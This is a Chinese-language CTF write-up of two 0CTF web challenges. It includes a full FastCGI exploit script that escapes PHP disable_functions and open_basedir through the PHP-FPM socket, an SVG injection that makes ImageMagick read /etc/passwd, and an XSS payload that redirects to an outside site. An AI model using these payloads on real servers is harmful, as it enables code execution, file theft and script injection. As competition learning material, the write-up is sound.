又是一年 0CTF, 这次一个人一队单刷一次, 做出了两题 WEB, 可惜只输出了一天, 第二天还要赶 ddl, 还是太蔡了 orz
easyphp
直接给了 webshell, 看 phpinfo,
disable_functions:
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir: /var/www/html
disable_classes: ReflectionClass
Server API: FPM/FastCGI
看样子是需要 rce, 有 disable_functions 和 open_basedir 的限制, 这里可以看到用的是 fpm 而且 fsockopen 没有限制, 可以想到直接打 fcgi, 不过需要知道 unix socket 的路径, 这里可以用 DirectoryIterator 来列目录, 不过试了下只能列根目录, 其他地方还是会被 open_basedir 拦, 比较神奇. 不过好在 fuzz 了一下, 是个常见未知, 在 unix:///var/run/php-fpm.sock
.
之后就不用多说了, 用 PHP_VALUE 里面的 open_basedir 覆盖掉 php.ini 里的 open_basedir 即可.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359
| import requests
sess = requests.session()
def execute_php_code(s): res = sess.post('http://pwnable.org:19260/?rh=eval($_POST[a]);', data={"a": s}) return res.text
code = ''' class AA { const VERSION_1 = 1;
const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3;
const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/** * Socket * @var Resource */ private $_sock = null;
/** * Host * @var String */ private $_host = null;
/** * Port * @var Integer */ private $_port = null;
/** * Keep Alive * @var Boolean */ private $_keepAlive = false;
/** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; }
/** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } }
/** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; }
/** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { $this->_sock = fsockopen($this->_host); var_dump($this->_sock); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } }
/** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ }
/** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; }
/** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array();
if ($length === null) { $length = strlen($data); }
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); }
return $array; }
/** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; }
/** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } }
/** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect();
$request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } }
public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, '');
fwrite($this->_sock, $request);
do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST);
if (!is_array($resp)) { throw new Exception('Bad request'); } switch (ord($resp['content'][4])) { case self::CANT_MPX_CONN: throw new Exception('This app cant multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } }
$client = new AA("unix:///var/run/php-fpm.sock"); $req = '/var/www/html/index.php'; $uri = $req .'?'.'command=ls'; var_dump($client);
$code = "<?php var_dump(scandir('/'));echo base64_encode(file_get_contents('/flag.h'));\\n?>"; $php_value = "allow_url_include = On\\nopen_basedir = /\\nauto_prepend_file = php://input";
$params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => '/var/www/html/index.php', 'SCRIPT_NAME' => '/var/www/html/index.php', 'QUERY_STRING' => 'command=ls', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => 'asd', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) );
echo "Call: $uri\\n\\n"; var_dump($client->request($params, $code)); '''
ret = execute_php_code(code) print(ret)
|
然后可以发现根目录的 flag.so
和 flag.h
, 读取后 strings 一下就能读到 flag. 不过可以看到是与 ffi 有关的, 所以这做法应该是非预期了, 不过之后又上了个 noeasyphp 修了几个非预期解.
最后试了下用 ffi 拿 flag,
1 2 3
| $ffi = FFI::load("/flag.h"); var_dump($ffi); var_dump($ffi->flag_fUn3t1on_fFi());
|
也是能读到 flag 的, 不过这方法名和文件名是怎么预期得到呢, 猜测可能需要用 ffi 的功能去直接越界读内存? 感觉预期解更有意思一点.
Wechat Generator
大概功能如下:
- 前端提交对话到后端, 后端返回生成的 svg 和对应的 id 到前端预览
- 前端提交 id 到后端, 渲染 svg 到图片
问题出在生成, 有个功能是插入表情, 比如 [cool]
, 会被替换为
1
| <image x="1240" y="-60" height="100" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://pwnable.org:5000/static/emoji/cool"/>
|
显然可能存在注入, 我们输入 [cool"><a></a><a href="]
, 就成功注入了 <a></a>
到 svg 里面. 这里可以想到之前空指针的一道题, imagemagick 在对 text:/
协议解析时, 会直接读取文件里的内容, 于是我们就能通过这个方式, 注入一个图片, 链接到 text:/etc/passwd
, 之后就能通过后端渲染得到的图片, 得到文件内容.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import requests import base64
sess = requests.session()
d = ''' [{"type":0,"message":"Love you!<a>asd</a>[cool\\"/><image xlink:href=\\"text:/etc/passwd\\" x='-400px' y='400px' height='1500px' width='1500px'/><a href=\\"]"},{"type":1,"message":"Me too!!!"}] '''
res = sess.post('http://pwnable.org:5000/preview', data={'data': d}) svg = base64.b64decode(res.json()['data'][len('data:image/svg+xml;base64,'):])
with open('1.svg', 'wb') as f: f.write(svg)
pid = res.json()['previewid'] res = sess.post('http://pwnable.org:5000/share', data={'previewid': pid}) print(res.text)
|
这里注意, 注入的内容前面一定要跟点东西, 不能直接这样 ["><a></a><a href="]
, 因为 http://pwnable.org:5000/static/emoji/
, 返回的是 404, 而 http://pwnable.org:5000/static/emoji/随意的内容
返回的是微笑. 如果什么都没有, imagemagick 得到 404 的话, 解析会直接中止.
现在就能读取文件了, 结合后端是 python, 然后一顿测试, 得到应用在 /app/app.py
, 可惜这里因为 imagemagick 的问题, 能读的源码有限, 调大图片尺寸也只能得到放大的文字, 不能显示更多的文字.
部分源码:
访问 http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws
, 然后题目一转 xss… 要求 alert(1).
因为这里有 csp 限制, 没法直接在 svg 里面用 script alert, 导致这里卡了挺久, 然后发现 imagemagick 生成的文件拓展名是可控的, 也就是第二步, 得到图片的路径是 http://pwnable.org:5000/image/gzVIsH/png
, 修改最后的 png 到 svg, 就会如蜜传如蜜, 直接输出一张的 svg, 而且 content-type 也会改变. 不过这里后端限制了扩展名长度只能为 3, 否则会直接报错.
这里查看文档, 发现 imagemagick 是支持输出 htm 的, http://pwnable.org:5000/image/gzVIsH/htm
得到的就是 htm, content-type 也变成了 text/html
. 于是 xss 思路就来了, 看到源码的过滤是直接替换为空, 可以用喜闻乐见的双写绕过.
然后在 svg 里面把最外面的 svg tag 给闭合了, 插入一个 html tag, 再用 meta 标签跳到我们的站上 alert(1) 即可, 这样就绕过了 csp.
1 2 3
| d = ''' [{"type":0,"message":"Love you!<a>asd</a>[cool\\"/></g></svg><html><metmetaa http-equiv='refresh' content=\\"0;URL='http://site.com/'\\" /></html><a href=\\"]"},{"type":1,"message":"Me too!!!"}] '''
|
不过感觉可能也是非预期? 因为看源码还有个可控 callback name 的 jsonp 没用上.
PS. 这里其实可以直接读 /proc/self/environ 来读环境变量, 可惜 imagemagick 碰到 \x00 就停止读取了, 导致只能读取第一个环境变量 PATH, 都不到后面的 flag